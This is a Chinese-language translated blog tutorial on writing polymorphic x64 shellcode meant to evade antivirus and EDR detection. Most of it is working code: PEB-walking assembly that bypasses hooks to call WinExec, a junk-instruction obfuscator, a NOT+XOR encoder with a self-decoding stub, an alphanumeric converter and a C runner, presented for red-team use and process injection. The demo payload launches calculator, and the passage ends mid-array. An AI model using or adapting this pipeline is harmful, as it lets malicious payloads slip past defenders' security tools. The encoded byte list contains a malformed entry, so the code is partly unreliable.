文章总结: 这篇文章详细介绍了如何编写免杀的shellcode,通过多态性技术使每次生成的shellcode都独一无二。作者首先展示了通过TEB定位kernel32基地址的x64汇编代码,然后通过插入无害指令、按位取反加异或编码以及添加字母数字混合组件等技术来增强shellcode的免杀能力。文章提供了完整的代码示例和Python脚本,帮助读者实现这些技术,最终生成能够绕过EDR/AV检测的多态性shellcode,可用于红队行动中的渗透测试。
综合评分: 91
文章分类: 免杀,二进制安全,红队,WEB安全,漏洞分析
如何编写免杀的shellcode
aeverj
红队工坊
2025年11月13日 08:00
北京
翻译自 Let’s Create Some Polymorphic PIC Shellcode! – G3tSyst3m’s Infosec Blog
好吧,我得承认,今天这篇文章让我非常兴奋😸 Shellcode和x64汇编一直是我最喜欢讲的话题之一。我也说不清为什么,汇编和Shellcode就是让我着迷。可能是因为每次成功编写出自定义的Shellcode/x64汇编代码后,那种成就感让我特别满足?还是因为它简洁高效?又或者是它的免杀能力?我也不确定。但这些因素在我看来,确实让它充满了吸引力。
今天这篇文章,我们要讲的内容相当多,所以请做好准备!我会向你展示各种编码Shellcode的方法、如何混淆它、如何将它转换成流行的字母数字混合(alpha-mix character)格式,当然还有如何让它具备多态性。所谓多态性是什么意思呢?简单来说,就是这个Shellcode每次构建和运行时都会是独一无二的。本质上,它永远不会有相同的文件特征。
首先,让我们从x64汇编代码开始。这次我换了一种思路。我会先定位线程环境块(Thread Environment Block,TEB),然后获取进程环境块(PEB),接着获取kernel32的基地址,最后执行那个无处不在的Windows计算器😸
说实话,大家养成这个习惯是很有好处的。你不能总是依赖msfvenom来为你的红队(red team)行动生成Shellcode。即使对msfvenom生成的Shellcode进行编码,终端检测与响应系统(EDR)的内存扫描器仍然能轻松检测到它。它的模式太容易预测了。我强烈建议你创建自己的Shellcode。在今天的文章中,我们不仅要编写自定义的汇编/Shellcode,还要对它进行编码,让它每次都不一样。你继续往下读就会明白我的意思了,我保证!
好了,话不多说,x64汇编代码如下。我尽量不偷懒,在我认为有用的地方添加了注释。还有一个重要的事项需要说明。如果你曾经使用Avast作为你的杀毒软件(AV)/EDR解决方案,你会很快发现Avast会钩取(hook)你程序加载的模块。其他EDR解决方案也会这样做,但Avast是我第一个想到的。特别是,它会钩取我们在Shellcode中遍历的初始加载器序言(loader prologue)来定位Kernel32的基地址。所以,如果你使用传统的定位kernel32的方法,通常会落到被钩取的版本上。但下面的代码就不会这样。我们实际上是搜索名称中包含KERN的模块(unicode),除非EDR/AV开始将他们的钩取模块命名为KERNxx.dll,否则你使用下面的代码会很安全,并绕过初始钩取!
通过TEB自定义加载kernel32基地址的计算器x64汇编代码
calc.asm
;nasm -fwin64 [x64findkernel32.asm]
;ld -m i386pep -o x64findkernel32.exe x64findkernel32.obj
; locates kernel32.dll searching the UNICODE string instead of the location in the list
; then loads calc.exe
BITS 64
SECTION .text
global main
main:
sub rsp, 0x28
and rsp, 0xFFFFFFFFFFFFFFF0
xor rcx, rcx ; RCX = 0
; Access TEB base: GS segment points to TEB
mov rax, gs:[0x30]
; Access PEB from TEB (TEB + 0x60)
mov rax, [rax + 0x60]
;mov rax, [gs:rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18] ; RAX = PEB->Ldr (_PEB_LDR_DATA)
mov rsi,[rax+0x10] ;PEB.Ldr->InMemOrderModuleList
checkit:
mov rsi, [rsi]
mov rcx, [rsi + 0x60]
mov rbx, [rcx]
mov rdx, 0x004E00520045004B ;UNICODE "K E R N" from KERNEL32.DLL
cmp rbx, rdx
jz foundit
jnz checkit
foundit:
mov rbx, [rsi + 0x30]
mov r8, rbx ; mov kernel32.dll base addr into r8
;Code for parsing Export Address Table
mov ebx, [rbx+0x3C] ; Get Kernel32 PE Signature (offset 0x3C) into EBX
add rbx, r8 ; Add signature offset to kernel32 base. Store in RBX.
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8 ; RDX = kernel32.dll + RVA ExportTable = ExportTable Address
mov r10d, [rdx+0x14] ; Number of functions
xor r11, r11 ; Zero R11 before use
mov r11d, [rdx+0x20] ; AddressOfNames RVA
add r11, r8 ; AddressOfNames VMA
mov rcx, r10 ; Set loop counter
mov rax, 0x6F9C9A87BA9196A8 ; WinExec 'encoded'
not rax
shl rax, 0x8
shr rax, 0x8
push rax
mov rax, rsp
add rsp, 0x8
kernel32findfunction: ; Loop over Export Address Table to find WinApi names
jecxz FunctionNameNotFound ; Loop around this function until we find WinExec
xor ebx,ebx ; Zero EBX for use
mov ebx, [r11+rcx*4] ; EBX = RVA for first AddressOfName
add rbx, r8 ; RBX = Function name VMA / add kernel32 base address to RVA and get WinApi name
dec rcx ; Decrement our loop by one, this goes from Z to A
mov r9, qword [rax] ; R9 = "our API"
cmp [rbx], r9 ; Compare all bytes
jz FunctionNameFound ; If match, function found
jnz kernel32findfunction
FunctionNameNotFound:
int3
FunctionNameFound: ; Get function address from AddressOfFunctions
inc ecx ; increase counter by 1 to account for decrement in loop
xor r11, r11
mov r11d, [rdx+0x1c] ; AddressOfFunctions RVA
add r11, r8 ; AddressOfFunctions VMA in R11. Kernel32+RVA for addressoffunctions
mov r15d, [r11+rcx*4] ; Get the function RVA.
add r15, r8 ; Found the Winexec WinApi and all the while skipping ordinal lookup! w00t!
xor rax, rax
push rax
mov rax, 0x9A879AD19C939E9C ; encoded calc.exe ;)
not rax
push rax
mov rcx, rsp
xor rdx, rdx
inc rdx
sub rsp, 0x30
call r15 ; Call WinExec
好了,现在我们有了汇编代码,需要进入下一步——打乱它。这是我们多态性Shellcode准备工作的第一部分。下面的代码会在我们的汇编代码中插入无害的汇编指令,使得每次编译成Shellcode时都完全独特。基本上我做的是检查已经使用的寄存器,那些我确定没有使用的寄存器将被选中用于插入打乱的汇编指令代码。例如,这里是我们将要搜索和使用的所有可能的x64寄存器组合:
all_reg_variants = {
'rax': ['rax', 'eax', 'ax', 'al', 'ah'],
'rcx': ['rcx', 'ecx', 'cx', 'cl', 'ch'],
'rdx': ['rdx', 'edx', 'dx', 'dl', 'dh'],
'rbx': ['rbx', 'ebx', 'bx', 'bl', 'bh'],
'rsp': ['rsp', 'esp', 'sp', 'spl'],
'rbp': ['rbp', 'ebp', 'bp', 'bpl'],
'rsi': ['rsi', 'esi', 'si', 'sil'],
'rdi': ['rdi', 'edi', 'di', 'dil'],
'r8': ['r8', 'r8d', 'r8w', 'r8b'],
'r9': ['r9', 'r9d', 'r9w', 'r9b'],
'r10': ['r10', 'r10d', 'r10w', 'r10b'],
'r11': ['r11', 'r11d', 'r11w', 'r11b'],
'r12': ['r12', 'r12d', 'r12w', 'r12b'],
'r13': ['r13', 'r13d', 'r13w', 'r13b'],
'r14': ['r14', 'r14d', 'r14w', 'r14b'],
'r15': ['r15', 'r15d', 'r15w', 'r15b'],
}
这里是我为这个特定的混淆脚本选择使用的所有可能的指令组合:
single_reg_templates = [
"xor {reg}, {reg}",
"mov {reg}, {reg}",
"add {reg}, 0x0",
"sub {reg}, 0x0",
"cmp {reg}, 0x0",
"test {reg}, {reg}",
"imul {reg}, {reg}, 1",
"shl {reg}, 0x0",
"shr {reg}, 0x0",
"rol {reg}, 0x0",
"ror {reg}, 0x0",
"inc {reg}", # Added inc
"nop"
]
现在你知道它是如何工作的了,让我们继续运行下面完整的Python脚本:
汇编代码混淆器 – 多态性准备第1部分
asmobfuscator.py
import sys
import re
import random
all_reg_variants = {
'rax': ['rax', 'eax', 'ax', 'al', 'ah'],
'rcx': ['rcx', 'ecx', 'cx', 'cl', 'ch'],
'rdx': ['rdx', 'edx', 'dx', 'dl', 'dh'],
'rbx': ['rbx', 'ebx', 'bx', 'bl', 'bh'],
'rsp': ['rsp', 'esp', 'sp', 'spl'],
'rbp': ['rbp', 'ebp', 'bp', 'bpl'],
'rsi': ['rsi', 'esi', 'si', 'sil'],
'rdi': ['rdi', 'edi', 'di', 'dil'],
'r8': ['r8', 'r8d', 'r8w', 'r8b'],
'r9': ['r9', 'r9d', 'r9w', 'r9b'],
'r10': ['r10', 'r10d', 'r10w', 'r10b'],
'r11': ['r11', 'r11d', 'r11w', 'r11b'],
'r12': ['r12', 'r12d', 'r12w', 'r12b'],
'r13': ['r13', 'r13d', 'r13w', 'r13b'],
'r14': ['r14', 'r14d', 'r14w', 'r14b'],
'r15': ['r15', 'r15d', 'r15w', 'r15b'],
}
def find_used_regs(lines):
used = set()
for line in lines:
clean_line = line.split(';')[0].strip()
if not clean_line:
continue
for full_reg, variants in all_reg_variants.items():
for var in variants:
if re.search(rf'\b{re.escape(var)}\b', clean_line, re.IGNORECASE):
used.add(full_reg)
break
return used
single_reg_templates = [
"xor {reg}, {reg}",
"mov {reg}, {reg}",
"add {reg}, 0x0",
"sub {reg}, 0x0",
"cmp {reg}, 0x0",
"test {reg}, {reg}",
"imul {reg}, {reg}, 1",
"shl {reg}, 0x0",
"shr {reg}, 0x0",
"rol {reg}, 0x0",
"ror {reg}, 0x0",
"inc {reg}", # Added inc
"nop"
]
two_reg_templates = [
"xchg {reg1}, {reg2} ; xchg {reg1}, {reg2}",
]
def is_flag_setter(clean):
if not clean:
return False
parts = clean.split()
if not parts:
return False
opcode = parts[0].lower()
flag_setters = {"xor", "add", "sub", "cmp", "test", "inc", "imul", "shl", "shr", "rol", "ror"} #removed LEA
return opcode in flag_setters
def is_conditional(clean):
if not clean:
return False
parts = clean.split()
if not parts:
return False
opcode = parts[0].lower()
conditionals = {"jz", "jnz", "je", "jne", "ja", "jae", "jb", "jbe", "jc", "jcxz", "jecxz", "jrcxz", "jg", "jge", "jl", "jle", "jna", "jnae", "jnb", "jnbe", "jnc", "jno", "jnp", "jnz", "jo", "jp", "jpe", "jpo", "js"}
return opcode in conditionals
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python asm_obfuscator.py input.asm")
sys.exit(1)
filename = sys.argv[1]
with open(filename, 'r') as f:
lines = f.readlines()
used = find_used_regs(lines)
all_gprs = list(all_reg_variants.keys())
candidates = [r for r in all_gprs if r not in ['rsp', 'rbp']]
unused = [r for r in candidates if r not in used]
print(f"Unused registers (excluding rsp, rbp): {unused}", file=sys.stderr)
if not unused:
print("No unused registers available. Exiting without modification.", file=sys.stderr)
sys.exit(0)
insert_prob = 0.9
output_lines = []
i = 0
while i < len(lines):
line = lines[i].rstrip()
output_lines.append(line)
clean = line.split(';')[0].strip()
insert_here = True
if clean and not clean.startswith(('.', 'SECTION')) and not clean.endswith(':'):
# Check if we should skip insertion to avoid breaking flags for conditional jumps
if i + 1 < len(lines):
next_line = lines[i + 1]
next_clean = next_line.split(';')[0].strip()
if is_flag_setter(clean) and is_conditional(next_clean):
insert_here = False
if random.random() < insert_prob and insert_here:
if len(unused) > 1 and random.random() < 0.7:
reg1 = random.choice(unused)
reg2 = random.choice([r for r in unused if r != reg1])
templ = random.choice(two_reg_templates)
instr = templ.format(reg1=reg1, reg2=reg2)
else:
reg = random.choice(unused)
templ = random.choice(single_reg_templates)
instr = templ.format(reg=reg)
output_lines.append("" + instr)
i += 1
output_file = filename.replace('.asm', '_mod.asm')
with open(output_file, 'w') as f:
f.write('\n'.join(output_lines) + '\n')
print(f"Modified assembly written to {output_file}")
这是我运行脚本后,原始calc.asm汇编代码的样子:
现在,让我们使用nasm编译它来获取我们的.obj文件:
nasm -fwin64 locate_kernel32_mod.asm
接下来,我们要从编译好的汇编.obj文件中提取Shellcode。我写了一个Python脚本来帮你(也帮我!😺)完成这个工作。我以前不得不使用Linux来提取Shellcode,但我厌倦了启动虚拟机。哈哈哈
import re
import subprocess
import sys
def generateshellcode(obj_file):
# Run objdump and capture output
result = subprocess.run(['objdump', '-D', obj_file], capture_output=True, text=True, check=True)
objdump_output = result.stdout
objdump_output = objdump_output.replace(" <", "--|")
#objdump_output = re.sub(r'<', '', objdump_output)
pattern = r'(?<![a-zA-Z])[0-9a-fA-F]{2} '
matches = re.findall(pattern, objdump_output, flags=re.IGNORECASE)
finalmatch=[]
for match in matches:
finalmatch.append(match.strip())
#print(finalmatch)
prefixed_hex = ['\\x' + hex_val for hex_val in finalmatch]
#finalshellcode = ', '.join(prefixed_hex)
finalshellcode = ''.join(prefixed_hex)
print(finalshellcode)
if __name__ == '__main__':
if len(sys.argv) > 1:
obj_file = sys.argv[1]
else:
print("findhex.py [.obj file]")
exit()
generateshellcode(obj_file)
多态性准备第2部分 – 编码器 – 按位取反 + 异或
现在我们有了Shellcode,需要对它进行编码,为我们的代码添加更多层次的多态性!我是按位取反(Bitwise NOT)操作的超级粉丝,我觉得它没有得到应有的关注。它非常容易使用,并且可以轻松地融入你的编码工具库中。😸 下面是它的工作原理。
我们将新生成的Shellcode放入shellcode变量中。接下来,我们简单地运行我为你准备的下面这个脚本。它将生成用按位取反操作结合熟悉的异或(XOR)按位操作编码的Shellcode。该脚本还会告诉我们编码Shellcode时使用的密钥的位置。这个密钥就在编码后的Shellcode本身里面!🤯 这不仅为我们提供了对一般静态和动态分析引擎的出色规避能力,还为我们的代码引入了更多的多态性,因为这个位置会根据你选择使用的编码密钥值而变化。这本质上是一个自解码的Shellcode存根。这些自解密/自解码的Shellcode存根在缓冲区溢出漏洞利用中很常见。顺便说一下,对于这个特定示例,我选择了0xAC作为我们的编码密钥。
import sys
shellcode = b"\x4d\x87\xe6\x48\x83\xec\x28\x48\x8d\x3f\x48\x83\xe4\xf0\x4d\x87\xf4\x48\x31\xc9\x49\x87\xfc\x65\x48\x8b\x04\x25\x30\x00\x00\x00\x48\x8b\x40\x60\x48\x31\xff\x48\x8b\x40\x18\x49\x87\xfe\x48\x8b\x70\x10\x48\x83\xc7\x00\x48\x8b\x36\x4c\x87\xef\x48\x8b\x4e\x60\x4c\x87\xef\x48\x8b\x19\x4d\x87\xec\x48\xba\x4b\x00\x45\x00\x52\x00\x4e\x00\x48\x31\xff\x48\x39\xd3\x74\x08\x49\x87\xfc\x75\xd6\x4c\x87\xe7\x48\x8b\x5e\x30\x4d\x89\xf6\x49\x89\xd8\x4d\x87\xe5\x8b\x5b\x3c\x4d\x6b\xe4\x01\x4c\x01\xc3\x4d\x89\xe4\x48\x31\xc9\x49\xc1\xe5\x00\x66\x81\xc1\xff\x88\x4d\x87\xee\x48\xc1\xe9\x08\x49\xc1\xcc\x00\x8b\x14\x0b\x4c\x87\xe7\x4c\x01\xc2\x4d\x89\xed\x44\x8b\x52\x14\x4d\x31\xed\x4d\x31\xdb\x49\x83\xec\x00\x44\x8b\x5a\x20\x49\x83\xfe\x00\x4d\x01\xc3\x4d\x87\xee\x4c\x89\xd1\x4c\x87\xef\x48\xb8\xa8\x96\x91\xba\x87\x9a\x9c\x6f\x48\xc1\xcf\x00\x48\xf7\xd0\x49\x87\xfd\x48\xc1\xe0\x08\x4d\x89\xed\x48\xc1\xe8\x08\x4d\x87\xe6\x50\x4d\x85\xf6\x48\x89\xe0\x49\x87\xfe\x48\x83\xc4\x08\x4d\x89\xe4\x67\xe3\x30\x49\x87\xfe\x31\xdb\x49\x87\xfc\x41\x8b\x1c\x8b\x48\xc1\xe7\x00\x4c\x01\xc3\x4d\x87\xe6\x48\xff\xc9\x49\x87\xfc\x4c\x8b\x08\x4d\x87\xf4\x4c\x39\x0b\x74\x0d\x4d\x87\xee\x75\xd1\x49\xc1\xe6\x00\xcc\x49\x87\xfc\xff\xc1\x4d\x85\xe4\x4d\x31\xdb\x4d\x87\xf4\x44\x8b\x5a\x1c\x4c\x87\xf7\x4d\x01\xc3\x4d\x87\xec\x45\x8b\x3c\x8b\x49\x87\xfe\x4d\x01\xc7\x4d\x31\xf6\x48\x31\xc0\x49\x83\xc5\x00\x50\x49\x87\xfd\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x49\x83\xfc\x00\x48\xf7\xd0\x4d\x87\xee\x50\x49\x87\xfe\x48\x89\xe1\x4d\x85\xe4\x48\x31\xd2\x4d\x87\xee\x48\xff\xc2\x49\x87\xfe\x48\x83\xec\x30\x49\x87\xfc\x41\xff\xd7\x4d\x87\xf4"
xor_key = 0xAC # Use a key that avoids bad characters
encoded_shellcode = bytearray()
i = 0
while i < len(shellcode):
chunk = shellcode[i:i+8]
value = int.from_bytes(chunk, 'little')
not_value = (~value) & 0xFFFFFFFFFFFFFFFF
not_chunk = not_value.to_bytes(8, 'little')
for b in not_chunk:
encoded_shellcode.append(b ^ xor_key)
i += 8
print(f"Encoded Shellcode: {','.join([f'0x{b:02x}' for b in encoded_shellcode])}")
positions = [i for i, byte in enumerate(encoded_shellcode) if byte == xor_key]
if positions:
print(f"Found 0xAC at position(s): {positions}")
else:
print("0xAC not found in the shellcode")
运行脚本后我收到的输出如下:
多态性准备第2部分续 – 解码器x64汇编代码
很好,现在我们有了编码后的Shellcode,我们现在需要用x64汇编编写一个解码器。只需从脚本发现的索引位置中选择一个作为你的解码密钥,并将其应用到下面的.asm文件中;我选择了密钥索引38。这将用于再次编译我们的Shellcode,增加额外的多态性层次!注意我是如何在这里添加38的:
mov r9b, [rel encoded_shellcode + 38]
这就是我们解密密钥在Shellcode本身中的位置索引。好了,让我们看看那个汇编代码吧?
;nasm -fwin64 [x64findkernel32.asm]
;ld -m i386pep -N -o x64findkernel32.exe x64findkernel32.obj
BITS 64
section .data
section .text
global main
main:
; Decode loop (use LEA for RIP-relative address)
lea rsi, [rel encoded_shellcode]
mov r9b, [rel encoded_shellcode + 38]
mov rcx, encoded_shellcode_len ; Immediate value, no rel needed
decode_loop:
mov al, [rsi]
xor al, r9b ; 0xAC
not al ; Undo NOT encoding
mov [rsi], al
inc rsi
loop decode_loop
; Jump to decoded shellcode (reload address for jmp)
lea rax, [rel encoded_shellcode]
jmp rax
encoded_shellcode:
db 0x1e,0xd4,0xb5,0x1b,0xd0,0xbf,0x7b,0x1b,0xde,0x6c,0x1b,0xd0,0xb7,0xa3,0x1e,0xd4,0xa7,0x1b,0x62,0x9a,0x1a,0xd4,0xaf,0x36,0x1b,0xd8,0x57,0x76,0x63,0x53,0x53,0x53,0x1b,0xd8,0x13,0x33,0x1b,0x62,0xac,0x1b,0xd8,0x13,0x4b,0x1a,0xd4,0xad,0x1b,0xd8,0x23,0x43,0x1b,0xd0,0x94,0x53,0x1b,0xd8,0x65,0x1f,0xd4,0xbc,0x1b,0xd8,0x1d,0x33,0x1f,0xd4,0xbc,0x1b,0xd8,0x4a,0x1e,0xd4,0xbf,0x1b,0xe9,0x18,0x53,0x16,0x53,0x01,0x53,0x1d,0x53,0x1b,0x62,0xac,0x1b,0x6a,0x80,0x27,0x5b,0x1a,0xd4,0xaf,0x26,0x85,0x1f,0xd4,0xb4,0x1b,0xd8,0x0d,0x63,0x1e,0xda,0xa5,0x1a,0xda,0x8b,0x1e,0xd4,0xb6,0xd8,0x08,0x6f,0x1e,0x38,0xb7,0x52,0x1f,0x52,0x90,0x1e,0xda,0xb7,0x1b,0x62,0x9a,0x1a,0x92,0xb6,0x53,0x35,0xd2,0x92,0xac,0xdb,0x1e,0xd4,0xbd,0x1b,0x92,0xba,0x5b,0x1a,0x92,0x9f,0x53,0xd8,0x47,0x58,0x1f,0xd4,0xb4,0x1f,0x52,0x91,0x1e,0xda,0xbe,0x17,0xd8,0x01,0x47,0x1e,0x62,0xbe,0x1e,0x62,0x88,0x1a,0xd0,0xbf,0x53,0x17,0xd8,0x09,0x73,0x1a,0xd0,0xad,0x53,0x1e,0x52,0x90,0x1e,0xd4,0xbd,0x1f,0xda,0x82,0x1f,0xd4,0xbc,0x1b,0xeb,0xfb,0xc5,0xc2,xe9,0xd4,0xc9,0xcf,0x3c,0x1b,0x92,0x9c,0x53,0x1b,0xa4,0x83,0x1a,0xd4,0xae,0x1b,0x92,0xb3,0x5b,0x1e,0xda,0xbe,0x1b,0x92,0xbb,0x5b,0x1e,0xd4,0xb5,0x03,0x1e,0xd6,0xa5,0x1b,0xda,0xb3,0x1a,0xd4,0xad,0x1b,0xd0,0x97,0x5b,0x1e,0xda,0xb7,0x34,0xb0,0x63,0x1a,0xd4,0xad,0x62,0x88,0x1a,0xd4,0xaf,0x12,0xd8,0x4f,0xd8,0x1b,0x92,0xb4,0x53,0x1f,0x52,0x90,0x1e,0xd4,0xb5,0x1b,0xac,0x9a,0x1a,0xd4,0xaf,0x1f,0xd8,0x5b,0x1e,0xd4,0xa7,0x1f,0x6a,0x58,0x27,0x5e,0x1e,0xd4,0xbd,0x26,0x82,0x1a,0x92,0xb5,0x53,0x9f,0x1a,0xd4,0xaf,0xac,0x92,0x1e,0xd6,0xb7,0x1e,0x62,0x88,0x1e,0xd4,0xa7,0x17,0xd8,0x09,0x4f,0x1f,0xd4,0xa4,0x1e,0x52,0x90,0x1e,0xd4,0xbf,0x16,0xd8,0x6f,0xd8,0x1a,0xd4,0xad,0x1e,0x52,0x94,0x1e,0x62,0xa5,0x1b,0x62,0x93,0x1a,0xd0,0x96,0x53,0x03,0x1a,0xd4,0xae,0x1b,0xeb,0xcf,0xcd,0xc0,0xcf,0x82,0xc9,0xd4,0xc9,0x1a,0xd0,0xaf,0x53,0x1b,0xa4,0x83,0x1e,0xd4,0xbd,0x03,0x1a,0xd4,0xad,0x1b,0xda,0xb2,0x1e,0xd6,0xb7,0x1b,0x62,0x81,0x1e,0xd4,0xbd,0x1b,0xac,0x91,0x1a,0xd4,0xad,0x1b,0xd0,0xbf,0x63,0x1a,0xd4,0xaf,0x12,0xac,0x84,0x1e,0xd4,0xa7,0x53,0x53,0x53,0x53,0x53
encoded_shellcode_len equ $ - encoded_shellcode
在我们编译之前,值得一提的是,如果我们愿意,我们也可以对这个汇编代码运行asmobfuscator Python脚本,以获得进一步的多态性层次。但为了简单起见,我保持原样😺
继续编译并运行它。你会如预期般得到计算器,但我们还没完成!!!我们需要保留那个.obj文件。我们在这篇文章的最后部分会需要它。我只是想让你看看解码器是如何工作的,并确保你确实看到了计算器😸 最后的压轴戏——添加字母数字Shellcode/混合模式马上就来!但让我们先做以下事情:
编译指令: nasm -fwin64 [program.asm] | ld -m i386pep -N -o program.exe program.obj
多态性准备第3部分 – 为Shellcode添加字母数字/混合组件
好了各位,我们离完成多态性Shellcode越来越近了。接下来我们需要做的是为我们的解码程序生成Shellcode。我们可以简单地运行之前相同的Python Shellcode生成脚本。你的结果应该和我下面的一样:
接下来,继续复制并粘贴那个Shellcode到某个地方,因为你马上就会需要它。首先,我们需要将十六进制字节(Shellcode)转换为ASCII。好吧,我们会转换我们能转换的。那些没有直接ASCII字符代码转换的十六进制字节我们将保持原样。因此,我们的Shellcode具有字母数字/混合的混合性质。
下面是Python脚本的样子,这里是你粘贴刚刚生成的按位取反解码器Shellcode的地方。注意我是如何粘贴上述Shellcode的:
# Parse the hex list and convert to mixed ASCII/hex representation for C string literal
hex_list = b"\x48\x8d\x35\x23\x00\x00\x00\x44\x8a\x0d\x42\x00\x00\x00\xb9\x98\x01\x00\x00\x8a\x06\x44\x30\xc8\xf6\xd0\x88\x06\x48\xff\xc6\xe2\xf2\x48\x8d\x05\x02\x00\x00\x00\xff\xe0\x1e\xd4\xb5\x1b\xd0\xbf\x7b\x1b\xde\x6c\x1b\xd0\xb7\xa3\x1e\xd4\xa7\x1b\x62\x9a\x1a\xd4\xaf\x36\x1b\xd8\x57\x76\x63\x53\x53\x53\x1b\xd8\x13\x33\x1b\x62\xac\x1b\xd8\x13\x4b\x1a\xd4\xad\x1b\xd8\x23\x43\x1b\xd0\x94\x53\x1b\xd8\x65\x1f\xd4\xbc\x1b\xd8\x1d\x33\x1f\xd4\xbc\x1b\xd8\x4a\x1e\xd4\xbf\x1b\xe9\x18\x53\x16\x53\x01\x53\x1d\x53\x1b\x62\xac\x1b\x6a\x80\x27\x5b\x1a\xd4\xaf\x26\x85\x1f\xd4\xb4\x1b\xd8\x0d\x63\x1e\xda\xa5\x1a\xda\x8b\x1e\xd4\xb6\xd8\x08\x6f\x1e\x38\xb7\x52\x1f\x52\x90\x1e\xda\xb7\x1b\x62\x9a\x1a\x92\xb6\x53\x35\xd2\x92\xac\xdb\x1e\xd4\xbd\x1b\x92\xba\x5b\x1a\x92\x9f\x53\xd8\x47\x58\x1f\xd4\xb4\x1f\x52\x91\x1e\xda\xbe\x17\xd8\x01\x47\x1e\x62\xbe\x1e\x62\x88\x1a\xd0\xbf\x53\x17\xd8\x09\x73\x1a\xd0\xad\x53\x1e\x52\x90\x1e\xd4\xbd\x1f\xda\x82\x1f\xd4\xbc\x1b\xeb\xfb\xc5\xc2\xe9\xd4\xc9\xcf\x3c\x1b\x92\x9c\x53\x1b\xa4\x83\x1a\xd4\xae\x1b\x92\xb3\x5b\x1e\xda\xbe\x1b\x92\xbb\x5b\x1e\xd4\xb5\x03\x1e\xd6\xa5\x1b\xda\xb3\x1a\xd4\xad\x1b\xd0\x97\x5b\x1e\xda\xb7\x34\xb0\x63\x1a\xd4\xad\x62\x88\x1a\xd4\xaf\x12\xd8\x4f\xd8\x1b\x92\xb4\x53\x1f\x52\x90\x1e\xd4\xb5\x1b\xac\x9a\x1a\xd4\xaf\x1f\xd8\x5b\x1e\xd4\xa7\x1f\x6a\x58\x27\x5e\x1e\xd4\xbd\x26\x82\x1a\x92\xb5\x53\x9f\x1a\xd4\xaf\xac\x92\x1e\xd6\xb7\x1e\x62\x88\x1e\xd4\xa7\x17\xd8\x09\x4f\x1f\xd4\xa4\x1e\x52\x90\x1e\xd4\xbf\x16\xd8\x6f\xd8\x1a\xd4\xad\x1e\x52\x94\x1e\x62\xa5\x1b\x62\x93\x1a\xd0\x96\x53\x03\x1a\xd4\xae\x1b\xeb\xcf\xcd\xc0\xcf\x82\xc9\xd4\xc9\x1a\xd0\xaf\x53\x1b\xa4\x83\x1e\xd4\xbd\x03\x1a\xd4\xad\x1b\xda\xb2\x1e\xd6\xb7\x1b\x62\x81\x1e\xd4\xbd\x1b\xac\x91\x1a\xd4\xad\x1b\xd0\xbf\x63\x1a\xd4\xaf\x12\xac\x84\x1e\xd4\xa7\x53\x53\x53\x53\x53"
alphanumericfinal=[]
for bytey in hex_list:
r = repr(chr(bytey))
if bytey == 0x27:
alphanumericfinal.append("\"\\'\"")
elif bytey == 0x22:
alphanumericfinal.append('\"\\""')
elif bytey == 0x20:
alphanumericfinal.append("\"\\x20\"")
else:
r=r.replace("'", '"')
alphanumericfinal.append(r)
print(''.join(alphanumericfinal))
当你运行它时,你会得到这样的结果:
就是这样!你做到了!这就是我们一直在寻找的最终Shellcode。那么我们刚才做了什么呢?好吧,我们…
-
从一个基础的x64汇编模板开始,使用WinExec来启动Windows计算器
-
这个汇编代码的独特之处在于它通过TEB定位kernel32基地址,然后定位PEB,再通过Unicode字符串比较来定位kernel32
-
在我们的原始Shellcode中插入了无害的汇编指令层,为代码引入了随机性
-
我们引入了一个自解码的按位取反 + 异或编码的Shellcode
-
然后我们对该Shellcode添加了另一层多态性,使其兼容字母数字/混合格式。
我可能在上面的要点中遗漏了一些东西,但这就是要点。现在,你可以按自己喜欢的任何方式使用这个最终形式的Shellcode。你可以将它注入到另一个进程中,直接运行它,等等。为了演示目的,我将直接运行它。
#include <windows.h>
#include <iostream>const unsigned char shellcode[] =
"H" "\x8d" "5" "#" "\x00" "\x00" "\x00" "D" "\x8a" "\r" "B" "\x00" "\x00" "\x00" "¹" "\x98" "\x01" "\x00" "\x00" "\x8a" "\x06" "D" "0" "È" "ö" "Ð" "\x88" "\x06" "H" "ÿ" "Æ" "â" "ò" "H" "\x8d" "\x05" "\x02" "\x00" "\x00" "\x00" "ÿ" "à" "\x1e" "Ô" "µ" "\x1b" "Ð" "¿" "{" "\x1b" "Þ" "l" "\x1b" "Ð" "·" "£" "\x1e" "Ô" "§" "\x1b" "b" "\x9a" "\x1a" "Ô" "¯" "6" "\x1b" "Ø" "W" "v" "c" "S" "S" "S" "\x1b" "Ø" "\x13" "3" "\x1b" "b" "¬" "\x1b" "Ø" "\x13" "K" "\x1a" "Ô" "\xad" "\x1b" "Ø" "#" "C" "\x1b" "Ð" "\x94" "S" "\x1b" "Ø" "e" "\x1f" "Ô" "¼" "\x1b" "Ø" "\x1d" "3" "\x1f" "Ô" "¼" "\x1b" "Ø" "J" "\x1e" "Ô" "¿" "\x1b" "é" "\x18" "S" "\x16" "S" "\x01" "S" "\x1d" "S" "\x1b" "b" "¬" "\x1b" "j" "\x80" "\'" "[" "\x1a" "Ô" "¯" "&" "\x85" "\x1f" "Ô" "´" "\x1b" "Ø" "\r" "c" "\x1e" "Ú" "¥" "\x1a" "Ú" "\x8b" "\x1e" "Ô" "¶" "Ø" "\x08" "o" "\x1e" "8" "·" "R" "\x1f" "R" "\x90" "\x1e" "Ú" "·" "\x1b" "b" "\x9a" "\x1a" "\x92" "¶" "S" "5" "Ò" "\x92" "¬" "Û" "\x1e" "Ô" "½" "\x1b" "\x92" "º" "[" "\x1a" "\x92" "\x9f" "S" "Ø" "G" "X" "\x1f" "Ô" "´" "\x1f" "R" "\x91" "\x1e" "Ú" "¾" "\x17" "Ø" "\x01" "G" "\x1e" "b" "¾" "\x1e" "b" "\x88" "\x1a" "Ð" "¿" "S" "\x17" "Ø" "\t" "s" "\x1a" "Ð" "\xad" "S" "\x1e" "R" "\x90" "\x1e" "Ô" "½" "\x1f" "Ú" "\x82" "\x1f" "Ô" "¼" "\x1b" "ë" "û" "Å" "Â" "é" "Ô" "É" "Ï" "<" "\x1b" "\x92" "\x9c" "S" "\x1b" "¤" "\x83" "\x1a" "Ô" "®" "\x1b" "\x92" "³" "[" "\x1e" "Ú" "¾" "\x1b" "\x92" "»" "[" "\x1e" "Ô" "µ" "\x03" "\x1e" 